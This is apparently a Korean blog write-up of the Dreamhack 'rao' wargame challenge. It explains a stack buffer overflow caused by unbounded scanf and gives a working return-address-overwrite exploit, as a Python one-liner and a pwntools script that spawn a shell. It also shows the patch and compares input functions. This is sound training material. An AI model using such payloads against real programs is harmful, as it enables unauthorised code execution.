728x90
반응형
Code Analysis
OOB ( Out of Bound)
▶ scanf("%s", buf) → %[n]s
- 입력 길이를 제한하지 않음
- 공백문자가 들어올 때까지 계속 입력을 받음
> 버퍼 오버플로우 발생
* 버퍼의 크기를 같이 입력하는 strncpy, stncat, snprintf, fgets, memcpy
Trigger
프로그램이 잘못된 메모리 주소에 접근했다는 의미
*core dumped : 코어파일이 생성됨 > 프로그램이 비정상 종료됐을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것
Stack frame
► 0x400729 <main+65> ret <0x6161616161616161>
0x40072a nop word ptr [rax + rax]
0x400730 <__libc_csu_init> push r15
0x400732 <__libc_csu_init+2> push r14
0x400734 <__libc_csu_init+4> mov r15, rdx
0x400737 <__libc_csu_init+7> push r13
0x400739 <__libc_csu_init+9> push r12
0x40073b <__libc_csu_init+11> lea r12, [rip + 0x2006ce] <__init_array_start>
0x400742 <__libc_csu_init+18> push rbp
0x400743 <__libc_csu_init+19> lea rbp, [rip + 0x2006ce] <__do_global_dtors_aux_fini_array_entry>
0x40074a <__libc_csu_init+26> push rbx
get_shell() 주소 확인
> get_shell()의 주소가 0x4006aa임을 확인
Exploit Scenario
> 페이로드에 의해 get_shell()의 return address까지 오염됨
Exploit
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
> shell 획득 코드
* shell 이 획득되어도 그대로 input: 이 출력됨
from pwn import *
p = remote('호스트', 포트번호)
e = ELF('./rao')
payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(e.symbols['get_shell'])
p.sendline(payload)
p.interactive()
> 익스플로잇 파이썬 코드
취약점 패치
> scanf("%39s", buf)
문자열 입력 함수
# gets(buf)
- 입력받는 길이에 제한이 없음
- 버퍼의 널 종결을 보장하지 않음 : 입력의 끝에 널 바이트를 삽입하므로, 버퍼를 꽉 채우면 널 바이트로 종결 X
# scanf("%s", buf)
- 입력받는 길이에 제한이 없음
- 버퍼의 널 종결을 보장하지 않음
# scanf("%[width]s", buf)
- width만큼 입력받음
- width ≤ size(buf) - 1을 만족하지 않을 시 오버플로우 발생
- 버퍼의 널 종결을 보장하지 않음
# fgets(buf, len, stream)
- len만큼 입력받음
- len ≤ size(buf) 을 만족하지 않을 시 오버플로우 발생
- 버퍼의 널 종결을 보장함 > len보다 적게 입력시 : 끝에 널바이트 / len만큼 입력시 : 마지막 바이트를 버리고 널 바이트
- 데이터 유실 주의
reference
- Dreamhack SystemHacking > ExploitTech : Return Address Overwrite
728x90
반응형
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] basic_exploitation_001 (0) | 2024.04.03 |
---|---|
[Cryptography] Textbook-RSA (1) | 2024.02.13 |
[Cryptography] Textbook-DH (1) | 2024.02.13 |
[Pwnable] basic_exploitation_000 (0) | 2024.02.09 |
[Pwnable] Shell_basic (1) | 2024.01.28 |